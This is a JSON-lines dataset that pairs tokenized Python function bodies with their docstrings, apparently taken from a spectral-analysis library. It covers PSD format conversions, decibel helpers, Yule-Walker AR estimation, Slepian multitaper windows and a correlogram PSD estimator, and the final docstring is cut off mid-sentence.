{"signature": "def twosided_2_onesided(data):", "body": "assert len(data) % <NUM_LIT:2> == <NUM_LIT:0><EOL>N = len(data)<EOL>psd = np.array(data[<NUM_LIT:0>:N//<NUM_LIT:2>+<NUM_LIT:1>]) * <NUM_LIT><EOL>psd[<NUM_LIT:0>] /= <NUM_LIT><EOL>psd[-<NUM_LIT:1>] = data[-<NUM_LIT:1>]<EOL>return psd<EOL>", "docstring": "Convert a one-sided PSD to a twosided PSD\n\n    In order to keep the power in the onesided PSD the same\n    as in the twosided version, the onesided values are twice\n    as much as in the input data (except for the zero-lag value).\n\n    ::\n\n        >>> twosided_2_onesided([10, 2,3,3,2,8])\n        array([ 10.,   4.,   6.,   8.])", "id": "f10937:m2"}
{"signature": "def onesided_2_twosided(data):", "body": "psd = np.concatenate((data[<NUM_LIT:0>:-<NUM_LIT:1>], cshift(data[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>], -<NUM_LIT:1>)))/<NUM_LIT><EOL>psd[<NUM_LIT:0>] *= <NUM_LIT><EOL>psd[-<NUM_LIT:1>] *= <NUM_LIT><EOL>return psd<EOL>", "docstring": "Convert a two-sided PSD to a one-sided PSD\n\n    In order to keep the power in the twosided PSD the same\n    as in the onesided version, the twosided values are 2 times\n    lower than the input data (except for the zero-lag and N-lag\n    values).\n\n    ::\n\n        >>> twosided_2_onesided([10, 4, 6, 8])\n        array([ 10.,   2.,   3.,   3., 2., 8.])", "id": "f10937:m3"}
{"signature": "def twosided_2_centerdc(data):", "body": "N = len(data)<EOL>newpsd = np.concatenate((cshift(data[N//<NUM_LIT:2>:], <NUM_LIT:1>), data[<NUM_LIT:0>:N//<NUM_LIT:2>]))<EOL>newpsd[<NUM_LIT:0>] = data[-<NUM_LIT:1>]<EOL>return newpsd<EOL>", "docstring": "Convert a two-sided PSD to a center-dc PSD", "id": "f10937:m4"}
{"signature": "def centerdc_2_twosided(data):", "body": "N = len(data)<EOL>newpsd = np.concatenate((data[N//<NUM_LIT:2>:], (cshift(data[<NUM_LIT:0>:N//<NUM_LIT:2>], -<NUM_LIT:1>))))<EOL>return newpsd<EOL>", "docstring": "Convert a center-dc PSD to a twosided PSD", "id": "f10937:m5"}
{"signature": "def twosided(data):", "body": "twosided = np.concatenate((data[::-<NUM_LIT:1>], data[<NUM_LIT:1>:]))<EOL>return twosided<EOL>", "docstring": "return a twosided vector with non-duplication of the first element\n\n    .. doctest::\n\n        >>> from spectrum import twosided\n        >>> a = [1,2,3]\n        >>> twosided(a)\n        array([3, 2, 1, 2, 3])", "id": "f10937:m6"}
{"signature": "def _twosided_zerolag(data, zerolag):", "body": "res = twosided(np.insert(data, <NUM_LIT:0>, zerolag))<EOL>return res<EOL>", "docstring": "Build a symmetric vector out of stricly positive lag vector and zero-lag\n\n    .. doctest::\n\n        >>> data = [3,2,1]\n        >>> zerolag = 4\n        >>> twosided_zerolag(data, zerolag)\n        array([1, 2, 3, 4, 3, 2, 1])\n\n    .. seealso:: Same behaviour as :func:`twosided_zerolag`", "id": "f10937:m7"}
{"signature": "def cshift(data, offset):", "body": "<EOL>if isinstance(offset, float):<EOL><INDENT>offset = int(offset)<EOL><DEDENT>a = deque(data)<EOL>a.rotate(offset)<EOL>return np.array(a)<EOL>", "docstring": "Circular shift to the right (within an array) by a given offset\n\n    :param array data: input data (list or numpy.array)\n    :param int offset: shift the array with the offset\n\n    .. doctest::\n\n        >>> from spectrum import cshift\n        >>> cshift([0, 1, 2, 3, -2, -1], 2)\n        array([-2, -1,  0,  1,  2,  3])", "id": "f10937:m8"}
{"signature": "def pow2db(x):", "body": "return <NUM_LIT:10> * log10(x)<EOL>", "docstring": "returns the corresponding decibel (dB) value for a power value x.\n\n    The relationship between power and decibels is:\n\n    .. math::    X_{dB} = 10 * \\log_{10}(x)\n\n    .. doctest::\n\n        >>> from spectrum import pow2db\n        >>> x = pow2db(0.1)\n        >>> x\n        -10.0", "id": "f10937:m9"}
{"signature": "def db2pow(xdb):", "body": "return <NUM_LIT>**(xdb/<NUM_LIT>)<EOL>", "docstring": "Convert decibels (dB) to power\n\n    .. doctest::\n\n        >>> from spectrum import db2pow\n        >>> p = db2pow(-10)\n        >>> p\n        0.1\n\n    .. seealso:: :func:`pow2db`", "id": "f10937:m10"}
{"signature": "def nextpow2(x):", "body": "res = ceil(log2(x))<EOL>return res.astype('<STR_LIT:int>')<EOL>", "docstring": "returns the smallest power of two that is greater than or equal to the\n    absolute value of x.\n\n    This function is useful for optimizing FFT operations, which are\n    most efficient when sequence length is an exact power of two.\n\n    :Example:\n\n    .. doctest::\n\n        >>> from spectrum import nextpow2\n        >>> x = [255, 256, 257]\n        >>> nextpow2(x)\n        array([8, 8, 9])", "id": "f10937:m11"}
{"signature": "def db2mag(xdb):", "body": "return <NUM_LIT>**(xdb/<NUM_LIT>)<EOL>", "docstring": "Convert decibels (dB) to magnitude\n\n    .. doctest::\n\n        >>> from spectrum import db2mag\n        >>> db2mag(-20)\n        0.1\n\n    .. seealso:: :func:`pow2db`", "id": "f10937:m12"}
{"signature": "def mag2db(x):", "body": "return <NUM_LIT> * log10(x)<EOL>", "docstring": "Convert magnitude to decibels (dB)\n\n    The relationship between magnitude and decibels is:\n\n    .. math::    X_{dB} = 20 * \\log_{10}(x)\n\n    .. doctest::\n\n        >>> from spectrum import mag2db\n        >>> mag2db(0.1)\n        -20.0\n\n    .. seealso:: :func:`db2mag`", "id": "f10937:m13"}
{"signature": "def aryule(X, order, norm='<STR_LIT>', allow_singularity=True):", "body": "assert norm in ['<STR_LIT>', '<STR_LIT>']<EOL>r = CORRELATION(X, maxlags=order, norm=norm)<EOL>A, P, k = LEVINSON(r, allow_singularity=allow_singularity)<EOL>return A, P, k<EOL>", "docstring": "r\"\"\"Compute AR coefficients using Yule-Walker method\n\n    :param X: Array of complex data values, X(1) to X(N)\n    :param int order: Order of autoregressive process to be fitted (integer)\n    :param str norm: Use a biased or unbiased correlation.\n    :param bool allow_singularity:\n\n    :return:\n        * AR coefficients (complex)\n        * variance of white noise (Real)\n        * reflection coefficients for use in lattice filter\n\n    .. rubric:: Description:\n\n    The Yule-Walker method returns the polynomial A corresponding to the\n    AR parametric signal model estimate of vector X using the Yule-Walker\n    (autocorrelation) method. The autocorrelation may be computed using a\n    **biased** or **unbiased** estimation. In practice, the biased estimate of\n    the autocorrelation is used for the unknown true autocorrelation. Indeed,\n    an unbiased estimate may result in nonpositive-definite autocorrelation\n    matrix.\n    So, a biased estimate leads to a stable AR filter.\n    The following matrix form represents the Yule-Walker equations. The are\n    solved by means of the Levinson-Durbin recursion:\n\n     .. math::\n\n        \\left( \\begin{array}{cccc}\n        r(1) & r(2)^* & \\dots & r(n)^*\\\\\n        r(2) & r(1)^* & \\dots & r(n-1)^*\\\\\n        \\dots & \\dots & \\dots & \\dots\\\\\n        r(n) & \\dots & r(2) & r(1) \\end{array} \\right)\n        \\left( \\begin{array}{cccc}\n        a(2)\\\\\n        a(3) \\\\\n        \\dots \\\\\n        a(n+1)  \\end{array} \\right)\n        =\n        \\left( \\begin{array}{cccc}\n        -r(2)\\\\\n        -r(3) \\\\\n        \\dots \\\\\n        -r(n+1)  \\end{array} \\right)\n\n    The outputs consists of the AR coefficients, the estimated variance of the\n    white noise process, and the reflection coefficients. These outputs can be\n    used to estimate the optimal order by using :mod:`~spectrum.criteria`.\n\n    .. rubric:: Examples:\n\n    From a known AR process or order 4, we estimate those AR parameters using\n    the aryule function.\n\n    .. doctest::\n\n        >>> from scipy.signal import lfilter\n        >>> from spectrum import *\n        >>> from numpy.random import randn\n        >>> A  =[1, -2.7607, 3.8106, -2.6535, 0.9238]\n        >>> noise = randn(1, 1024)\n        >>> y = lfilter([1], A, noise);\n        >>> #filter a white noise input to create AR(4) process\n        >>> [ar, var, reflec] = aryule(y[0], 4)\n        >>> # ar should contains values similar to A\n\n    The PSD estimate of a data samples is computed and plotted as follows:\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import *\n        from pylab import *\n\n        ar, P, k = aryule(marple_data, 15, norm='biased')\n        psd = arma2psd(ar)\n        plot(linspace(-0.5, 0.5, 4096), 10 * log10(psd/max(psd)))\n        axis([-0.5, 0.5, -60, 0])\n\n    .. note:: The outputs have been double checked against (1) octave outputs\n        (octave has norm='biased' by default) and (2) Marple test code.\n\n    .. seealso:: This function uses :func:`~spectrum.levinson.LEVINSON` and\n        :func:`~spectrum.correlation.CORRELATION`. See the :mod:`~spectrum.criteria`\n        module for criteria to automatically select the AR order.\n\n    :References: [Marple]_", "id": "f10938:m0"}
{"signature": "def __init__(self, data, order, norm='<STR_LIT>', NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=True):", "body": "super(pyule, self).__init__(data, ar_order=order,  NFFT=NFFT,<EOL>scale_by_freq=scale_by_freq,<EOL>sampling=sampling)<EOL>self.sampling = sampling<EOL>self._norm_aryule = norm<EOL>", "docstring": "**Constructor**\n\n        For a detailled description of the parameters, see :func:`aryule`.\n\n        :param array data: input data (list or numpy.array)\n        :param int order:\n        :param int NFFT: total length of the final data sets (padded with\n            zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`\n        :param str norm: don't change if you do not know", "id": "f10938:c0:m0"}
{"signature": "def pmtm(x, NW=None, k=None, NFFT=None, e=None, v=None, method='<STR_LIT>', show=False):", "body": "assert method in ['<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>N = len(x)<EOL>if e is None and v is None:<EOL><INDENT>if NW is not None:<EOL><INDENT>[tapers, eigenvalues] = dpss(N, NW, k=k)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif e is not None and v is not None:<EOL><INDENT>eigenvalues = e[:]<EOL>tapers = v[:]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>nwin = len(eigenvalues) <EOL>if NFFT==None:<EOL><INDENT>NFFT = max(<NUM_LIT>, <NUM_LIT:2>**nextpow2(N))<EOL><DEDENT>Sk_complex = np.fft.fft(np.multiply(tapers.transpose(), x), NFFT)<EOL>Sk = abs(Sk_complex)**<NUM_LIT:2><EOL>if method in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if method == '<STR_LIT>':<EOL><INDENT>weights = np.ones((nwin, <NUM_LIT:1>))<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>weights = np.array([_x/float(i+<NUM_LIT:1>) for i,_x in enumerate(eigenvalues)])<EOL>weights = weights.reshape(nwin,<NUM_LIT:1>)<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>sig2 = np.dot(x, x) / float(N)<EOL>Sk = abs(np.fft.fft(np.multiply(tapers.transpose(), x), NFFT))**<NUM_LIT:2><EOL>Sk = Sk.transpose()<EOL>S = (Sk[:,<NUM_LIT:0>] + Sk[:,<NUM_LIT:1>]) / <NUM_LIT:2>    <EOL>S = S.reshape(NFFT, <NUM_LIT:1>)<EOL>Stemp = np.zeros((NFFT,<NUM_LIT:1>))<EOL>S1 = np.zeros((NFFT,<NUM_LIT:1>))<EOL>tol = <NUM_LIT> * sig2 / float(NFFT)<EOL>i = <NUM_LIT:0><EOL>a = sig2 * (<NUM_LIT:1> - eigenvalues)<EOL>while sum(np.abs(S-S1))/NFFT > tol and i<<NUM_LIT:100>:<EOL><INDENT>i = i + <NUM_LIT:1><EOL>b1 = np.multiply(S, np.ones((<NUM_LIT:1>,nwin)))<EOL>b2 = np.multiply(S,eigenvalues.transpose()) + np.ones((NFFT,<NUM_LIT:1>))*a.transpose()<EOL>b = b1/b2<EOL>wk=(b**<NUM_LIT:2>)*(np.ones((NFFT,<NUM_LIT:1>))*eigenvalues.transpose())<EOL>S1 = sum(wk.transpose()*Sk.transpose())/ sum(wk.transpose())<EOL>S1 = S1.reshape(NFFT, <NUM_LIT:1>)<EOL>Stemp = S1<EOL>S1 = S<EOL>S = Stemp   <EOL><DEDENT>weights=wk<EOL><DEDENT>if show is True:<EOL><INDENT>from pylab import semilogy<EOL>if method == \"<STR_LIT>\":<EOL><INDENT>Sk = np.mean(Sk * weights, axis=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>Sk = np.mean(Sk * weights, axis=<NUM_LIT:0>)<EOL><DEDENT>semilogy(Sk)<EOL><DEDENT>return Sk_complex, weights, eigenvalues<EOL>", "docstring": "Multitapering spectral estimation\n\n    :param array x: the data\n    :param float NW: The time half bandwidth parameter (typical values are\n        2.5,3,3.5,4). Must be provided otherwise the tapering windows and\n        eigen values (outputs of dpss) must be provided\n    :param int k: uses the first k Slepian sequences. If *k* is not provided,\n        *k* is set to *NW*2*.\n    :param NW:\n    :param e: the window concentrations (eigenvalues)\n    :param v: the matrix containing the tapering windows\n    :param str method: set how the eigenvalues are used. Must be\n        in ['unity', 'adapt', 'eigen']\n    :param bool show: plot results\n    :return: Sk (complex), weights, eigenvalues\n\n    Usually in spectral estimation the mean to reduce bias is to use tapering\n    window. In order to reduce variance we need to average different spectrum.\n    The problem is that we have only one set of data. Thus we need to\n    decompose a set into several segments. Such method are well-known: simple\n    daniell's periodogram, Welch's method and so on. The drawback of such\n    methods is a loss of resolution since the segments used to compute the\n    spectrum are smaller than the data set.\n    The interest of multitapering method is to keep a good resolution while\n    reducing bias and variance.\n\n    How does it work? First we compute different simple periodogram with the\n    whole data set (to keep good resolution) but each periodgram is computed\n    with a differenttapering windows. Then, we average all these spectrum.\n    To avoid redundancy and bias due to the tapers mtm use special tapers.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import data_cosine, dpss, pmtm\n\n        data = data_cosine(N=2048, A=0.1, sampling=1024, freq=200)\n        # If you already have the DPSS windows\n        [tapers, eigen] = dpss(2048, 2.5, 4)\n        res = pmtm(data, e=eigen, v=tapers, show=False)\n        # You do not need to compute the DPSS before end\n        res = pmtm(data, NW=2.5, show=False)\n        res = pmtm(data, NW=2.5, k=4, show=True)\n\n\n    .. versionchanged:: 0.6.2\n\n        APN modified method to return each Sk as complex values, the eigenvalues\n        and the weights", "id": "f10939:m0"}
{"signature": "def dpss(N, NW=None, k=None):", "body": "assert NW < N/<NUM_LIT:2> , \"<STR_LIT>\".format(NW, N)<EOL>if k is None:<EOL><INDENT>k = min(round(<NUM_LIT:2>*NW),N)<EOL>k = int(max(k,<NUM_LIT:1>))<EOL><DEDENT>from numpy import dot, zeros, arange, sqrt<EOL>mtspeclib.multitap.restype = None<EOL>lam = zeros(k, dtype=float)<EOL>tapers = zeros(k*N, dtype=float)<EOL>tapsum = zeros(k, dtype=float)<EOL>res = mtspeclib.multitap(<EOL>c_int(N),<EOL>c_int(k),<EOL>lam.ctypes.data_as(c_void_p),<EOL>c_float(NW),<EOL>tapers.ctypes.data_as(c_void_p),<EOL>tapsum.ctypes.data_as(c_void_p),<EOL>)<EOL>tapers = tapers.reshape(k,N).transpose() / sqrt(N)<EOL>for i in range(k):<EOL><INDENT>if i%<NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>if tapsum[i]<<NUM_LIT:0>:<EOL><INDENT>tapsum[i] *= -<NUM_LIT:1><EOL>tapers[:,i] *= -<NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if tapers[<NUM_LIT:0>,i] < <NUM_LIT:0>:<EOL><INDENT>tapsum[i] *= -<NUM_LIT:1><EOL>tapers[:,i] *= -<NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>acvs = _autocov(tapers.transpose(), debias=False) * N<EOL>nidx = arange(N)<EOL>W = float(NW)/N<EOL>r = <NUM_LIT:4>*W*np.sinc(<NUM_LIT:2>*W*nidx)<EOL>r[<NUM_LIT:0>] = <NUM_LIT:2>*W<EOL>eigvals = dot(acvs, r)<EOL>return [tapers, eigvals]<EOL>", "docstring": "r\"\"\"Discrete prolate spheroidal (Slepian) sequences\n\n    Calculation of the Discrete Prolate Spheroidal Sequences also known as the\n    slepian sequences, and the corresponding eigenvalues.\n\n    :param int N: desired window length\n    :param float NW: The time half bandwidth parameter (typical values are\n        2.5,3,3.5,4).\n    :param int k: returns the first k Slepian sequences. If *k* is not\n        provided, *k* is set to *NW*2*.\n    :return:\n        * tapers, a matrix of tapering windows. Matrix is a N by *k* (k\n          is the number of windows)\n        * eigen, a vector of eigenvalues of length *k*\n\n    The discrete prolate spheroidal or Slepian sequences derive from the following\n    time-frequency concentration problem. For all finite-energy sequences index\n    limited to some set , which sequence maximizes the following ratio:\n\n    .. math::\n\n        \\lambda = \\frac{\\int_{-W}^{W}\\left| X(f) \\right|^2 df}\n            {\\int_{-F_s/2}^{F_s/2}\\left| X(f) \\right|^2 df}\n\n    where :math:`F_s` is the sampling frequency and :math:`|W| < F_s/2`.\n    This ratio determines which index-limited sequence has the largest proportion of its\n    energy in the band :math:`[-W,W]` with :math:`0  < \\lambda < 1`.\n    The sequence maximizing the ratio is the first\n    discrete prolate spheroidal or Slepian sequence. The second Slepian sequence\n    maximizes the ratio and is orthogonal to the first Slepian sequence. The third\n    Slepian sequence maximizes the ratio of integrals and is orthogonal to both\n    the first and second Slepian sequences and so on.\n\n    .. note:: Note about the implementation. Since the slepian generation is\n        computationally expensive, we use a C implementation based on the C\n        code written by Lees as published in:\n\n            Lees, J. M. and J. Park (1995): Multiple-taper spectral analysis: A stand-alone\n            C-subroutine: Computers & Geology: 21, 199-236.\n\n        However, the original C code has been trimmed. Indeed, we only require the\n        multitap function (that depends on jtridib, jtinvit functions only).\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import *\n        from pylab import *\n        N = 512\n        [w, eigens] = dpss(N, 2.5, 4)\n        plot(w)\n        title('Slepian Sequences N=%s, NW=2.5' % N)\n        axis([0, N, -0.15, 0.15])\n        legend(['1st window','2nd window','3rd window','4th window'])\n\n    Windows are normalised:\n\n    .. math::  \\sum_k h_k h_k = 1\n\n    :references: [Percival]_\n\n        Slepian, D. Prolate spheroidal wave functions, Fourier analysis, and\n        uncertainty V: The discrete case. Bell System Technical Journal,\n        Volume 57 (1978), 1371430\n\n    .. note:: the C code to create the slepian windows is extracted from original C code\n        from Lees and Park (1995) and uses the conventions of Percival and Walden (1993).\n        Functions that are not used here were removed.", "id": "f10939:m1"}
{"signature": "def _other_dpss_method(N, NW, Kmax):", "body": "<EOL>from scipy import linalg as la<EOL>Kmax = int(Kmax)<EOL>W = float(NW)/N<EOL>ab = np.zeros((<NUM_LIT:2>,N), '<STR_LIT:d>')<EOL>nidx = np.arange(N)<EOL>ab[<NUM_LIT:0>,<NUM_LIT:1>:] = nidx[<NUM_LIT:1>:]*(N-nidx[<NUM_LIT:1>:])/<NUM_LIT><EOL>ab[<NUM_LIT:1>] = ((N-<NUM_LIT:1>-<NUM_LIT:2>*nidx)/<NUM_LIT>)**<NUM_LIT:2> * np.cos(<NUM_LIT:2>*np.pi*W)<EOL>l,v = la.eig_banded(ab, select='<STR_LIT:i>', select_range=(N-Kmax, N-<NUM_LIT:1>))<EOL>dpss = v.transpose()[::-<NUM_LIT:1>]<EOL>fix_symmetric = (dpss[<NUM_LIT:0>::<NUM_LIT:2>].sum(axis=<NUM_LIT:1>) < <NUM_LIT:0>)<EOL>for i, f in enumerate(fix_symmetric):<EOL><INDENT>if f:<EOL><INDENT>dpss[<NUM_LIT:2>*i] *= -<NUM_LIT:1><EOL><DEDENT><DEDENT>fix_skew = (dpss[<NUM_LIT:1>::<NUM_LIT:2>,<NUM_LIT:1>] < <NUM_LIT:0>)<EOL>for i, f in enumerate(fix_skew):<EOL><INDENT>if f:<EOL><INDENT>dpss[<NUM_LIT:2>*i+<NUM_LIT:1>] *= -<NUM_LIT:1><EOL><DEDENT><DEDENT>acvs = _autocov(dpss, debias=False) * N<EOL>r = <NUM_LIT:4>*W*np.sinc(<NUM_LIT:2>*W*nidx)<EOL>r[<NUM_LIT:0>] = <NUM_LIT:2>*W<EOL>eigvals = np.dot(acvs, r)<EOL>return dpss, eigvals<EOL>", "docstring": "Returns the Discrete Prolate Spheroidal Sequences of orders [0,Kmax-1]\n    for a given frequency-spacing multiple NW and sequence length N.\n\n    See dpss function that is the official version. This version is indepedant\n    of the C code and relies on Scipy function. However, it is slower by a factor 3\n\n    Tridiagonal form of DPSS calculation from:", "id": "f10939:m2"}
{"signature": "def _autocov(s, **kwargs):", "body": "<EOL>debias = kwargs.pop('<STR_LIT>', True)<EOL>axis = kwargs.get('<STR_LIT>', -<NUM_LIT:1>)<EOL>if debias:<EOL><INDENT>s = _remove_bias(s, axis)<EOL><DEDENT>kwargs['<STR_LIT>'] = False<EOL>return _crosscov(s, s, **kwargs)<EOL>", "docstring": "Returns the autocovariance of signal s at all lags.\n\n    Adheres to the definition\n    sxx[k] = E{S[n]S[n+k]} = cov{S[n],S[n+k]}\n    where E{} is the expectation operator, and S is a zero mean process", "id": "f10939:m3"}
{"signature": "def _crosscov(x, y, axis=-<NUM_LIT:1>, all_lags=False, debias=True):", "body": "if x.shape[axis] != y.shape[axis]:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if debias:<EOL><INDENT>x = _remove_bias(x, axis)<EOL>y = _remove_bias(y, axis)<EOL><DEDENT>slicing = [slice(d) for d in x.shape]<EOL>slicing[axis] = slice(None,None,-<NUM_LIT:1>)<EOL>sxy = _fftconvolve(x, y[tuple(slicing)], axis=axis, mode='<STR_LIT>')<EOL>N = x.shape[axis]<EOL>sxy /= N<EOL>if all_lags:<EOL><INDENT>return sxy<EOL><DEDENT>slicing[axis] = slice(N-<NUM_LIT:1>,<NUM_LIT:2>*N-<NUM_LIT:1>)<EOL>return sxy[tuple(slicing)]<EOL>", "docstring": "Returns the crosscovariance sequence between two ndarrays.\n    This is performed by calling fftconvolve on x, y[::-1]\n\n    Parameters\n\n\n    x: ndarray\n    y: ndarray\n    axis: time axis\n\n    all_lags: {True/False}\n    whether to return all nonzero lags, or to clip the length of s_xy\n    to be the length of x and y. If False, then the zero lag covariance\n    is at index 0. Otherwise, it is found at (len(x) + len(y) - 1)/2\n\n    debias: {True/False}\n    Always removes an estimate of the mean along the axis, unless\n    told not to.\n\n\n    cross covariance is defined as\n    sxy[k] := E{X[t]*Y[t+k]}, where X,Y are zero mean random processes", "id": "f10939:m4"}
{"signature": "def _crosscorr(x, y, **kwargs):", "body": "sxy = _crosscov(x, y, **kwargs)<EOL>sx = np.std(x)<EOL>sy = np.std(y)<EOL>return sxy/(sx*sy)<EOL>", "docstring": "Returns the crosscorrelation sequence between two ndarrays.\nThis is performed by calling fftconvolve on x, y[::-1]\n\nParameters\n\n\nx: ndarray\ny: ndarray\naxis: time axis\nall_lags: {True/False}\nwhether to return all nonzero lags, or to clip the length of r_xy\nto be the length of x and y. If False, then the zero lag correlation\nis at index 0. Otherwise, it is found at (len(x) + len(y) - 1)/2\n\nNotes\n\n\ncross correlation is defined as\nrxy[k] := E{X[t]*Y[t+k]}/(E{X*X}E{Y*Y})**.5,\nwhere X,Y are zero mean random processes. It is the noramlized cross\ncovariance.", "id": "f10939:m5"}
{"signature": "def _remove_bias(x, axis):", "body": "padded_slice = [slice(d) for d in x.shape]<EOL>padded_slice[axis] = np.newaxis<EOL>mn = np.mean(x, axis=axis)<EOL>return x - mn[tuple(padded_slice)]<EOL>", "docstring": "Subtracts an estimate of the mean from signal x at axis", "id": "f10939:m6"}
{"signature": "def _fftconvolve(in1, in2, mode=\"<STR_LIT>\", axis=None):", "body": "<EOL>from scipy.fftpack import fftn, fft, ifftn, ifft<EOL>from scipy.signal.signaltools import _centered<EOL>from numpy import array, product<EOL>s1 = array(in1.shape)<EOL>s2 = array(in2.shape)<EOL>complex_result = (np.issubdtype(in1.dtype, np.complexfloating) or<EOL>np.issubdtype(in2.dtype, np.complexfloating))<EOL>if axis is None:<EOL><INDENT>size = s1+s2-<NUM_LIT:1><EOL>fslice = tuple([slice(<NUM_LIT:0>, int(sz)) for sz in size])<EOL><DEDENT>else:<EOL><INDENT>equal_shapes = s1==s2<EOL>equal_shapes[axis] = True<EOL>assert equal_shapes.all(), '<STR_LIT>'<EOL>size = s1[axis]+s2[axis]-<NUM_LIT:1><EOL>fslice = [slice(l) for l in s1]<EOL>fslice[axis] = slice(<NUM_LIT:0>, int(size))<EOL>fslice = tuple(fslice)<EOL><DEDENT>fsize = (<NUM_LIT:2>**np.ceil(np.log2(size))).astype(np.int64)<EOL>if axis is None:<EOL><INDENT>IN1 = fftn(in1,fsize)<EOL>IN1 *= fftn(in2,fsize)<EOL>ret = ifftn(IN1)[fslice].copy()<EOL><DEDENT>else:<EOL><INDENT>IN1 = fft(in1,fsize,axis=axis)<EOL>IN1 *= fft(in2,fsize,axis=axis)<EOL>ret = ifft(IN1,axis=axis)[fslice].copy()<EOL><DEDENT>if not complex_result:<EOL><INDENT>del IN1<EOL>ret = ret.real<EOL><DEDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>return ret<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>if product(s1,axis=<NUM_LIT:0>) > product(s2,axis=<NUM_LIT:0>):<EOL><INDENT>osize = s1<EOL><DEDENT>else:<EOL><INDENT>osize = s2<EOL><DEDENT>return _centered(ret,osize)<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>return _centered(ret,abs(s2-s1)+<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Convolve two N-dimensional arrays using FFT. See convolve.\n\n    This is a fix of scipy.signal.fftconvolve, adding an axis argument and\n    importing locally the stuff only needed for this function", "id": "f10939:m7"}
{"signature": "def CORRELOGRAMPSD(X, Y=None, lag=-<NUM_LIT:1>, window='<STR_LIT>',<EOL>norm='<STR_LIT>', NFFT=<NUM_LIT>, window_params={},<EOL>correlation_method='<STR_LIT>'):", "body": "N = len(X)<EOL>assert lag<N, '<STR_LIT>'<EOL>assert correlation_method in ['<STR_LIT>', '<STR_LIT>']<EOL>if Y is None:<EOL><INDENT>Y = numpy.array(X)<EOL>crosscorrelation = False<EOL><DEDENT>else:<EOL><INDENT>crosscorrelation = True<EOL><DEDENT>if NFFT is None:<EOL><INDENT>NFFT = N<EOL><DEDENT>psd = numpy.zeros(NFFT, dtype=complex)<EOL>w = Window(<NUM_LIT>*lag+<NUM_LIT:1>, window, **window_params)<EOL>w = w.data[lag+<NUM_LIT:1>:]<EOL>if correlation_method == '<STR_LIT>':<EOL><INDENT>rxy = CORRELATION (X, Y, maxlags=lag, norm=norm)<EOL><DEDENT>elif correlation_method == '<STR_LIT>':<EOL><INDENT>rxy, _l = xcorr (X, Y, maxlags=lag, norm=norm)<EOL>rxy = rxy[lag:]<EOL><DEDENT>psd[<NUM_LIT:0>] = rxy[<NUM_LIT:0>]<EOL>psd[<NUM_LIT:1>:lag+<NUM_LIT:1>] = rxy[<NUM_LIT:1>:] * w<EOL>if crosscorrelation is True:<EOL><INDENT>if correlation_method == '<STR_LIT>':<EOL><INDENT>ryx = CORRELATION(Y, X, maxlags=lag, norm=norm)<EOL><DEDENT>elif correlation_method == '<STR_LIT>':<EOL><INDENT>ryx, _l = xcorr(Y, X, maxlags=lag, norm=norm)<EOL>ryx = ryx[lag:]<EOL><DEDENT>psd[-<NUM_LIT:1>:NFFT-lag-<NUM_LIT:1>:-<NUM_LIT:1>] = ryx[<NUM_LIT:1>:].conjugate() * w<EOL><DEDENT>else: <EOL><INDENT>psd[-<NUM_LIT:1>:NFFT-lag-<NUM_LIT:1>:-<NUM_LIT:1>] = rxy[<NUM_LIT:1>:].conjugate() * w<EOL><DEDENT>psd = numpy.real(fft(psd))<EOL>return psd<EOL>", "docstring": "PSD estimate using correlogram method.\n\n\n    :param array X: complex or real data samples X(1) to X(N)\n    :param array Y: complex data samples Y(1) to Y(N). If provided, computes\n        the cross PSD, otherwise the PSD is returned\n    :param int lag: highest lag index to compute. Must be less than N\n    :param str window_name: see :mod:`window` for list of valid names\n    :param str norm: one of the valid normalisation of :func:`xcorr` (biased, \n        unbiased, coeff, None)\n    :param int NFFT: total length of the final data sets (padded with zero \n        if needed; default is 4096)\n    :param str correlation_method: either `xcorr` or `CORRELATION`.\n        CORRELATION should be removed in the future.\n\n    :return:\n        * Array of real (cross) power spectral density estimate values. This is\n          a two sided array with negative values following the positive ones\n          whatever is the input data (real or complex).\n\n    .. rubric:: Description:\n\n    The exact power spectral density is the Fourier transform of the\n    autocorrelation sequence:\n\n    .. math:: P_{xx}(f) = T \\sum_{m=-\\infty}^{\\infty} r_{xx}[m] exp^{-j2\\pi fmT}\n\n    The correlogram method of PSD estimation substitutes a finite sequence of\n    autocorrelation estimates :math:`\\hat{r}_{xx}` in place of :math:`r_{xx}`.\n    This estimation can be computed with :func:`xcorr` or :func:`CORRELATION` by\n    chosing a proprer lag `L`. The estimated PSD is then\n\n    .. math:: \\hat{P}_{xx}(f) = T \\sum_{m=-L}^{L} \\hat{r}_{xx}[m] exp^{-j2\\pi fmT}\n\n    The lag index must be less than the number of data samples `N`. Ideally, it\n    should be around `L/10` [Marple]_ so as to avoid greater statistical\n    variance associated with higher lags.\n\n    To reduce the leakage of the implicit rectangular window and therefore to\n    reduce the bias in the estimate, a tapering window is normally used and lead\n    to the so-called Blackman and Tukey correlogram:\n\n    .. math:: \\hat{P}_{BT}(f) = T \\sum_{m=-L}^{L} w[m] \\hat{r}_{xx}[m] exp^{-j2\\pi fmT}\n\n    The correlogram for the cross power spectral estimate is\n\n    .. math:: \\hat{P}_{xx}(f) = T \\sum_{m=-L}^{L} \\hat{r}_{xx}[m] exp^{-j2\\pi fmT}\n\n    which is computed if :attr:`Y` is not provide. In such case,\n    :math:`r_{yx} = r_{xy}` so we compute the correlation 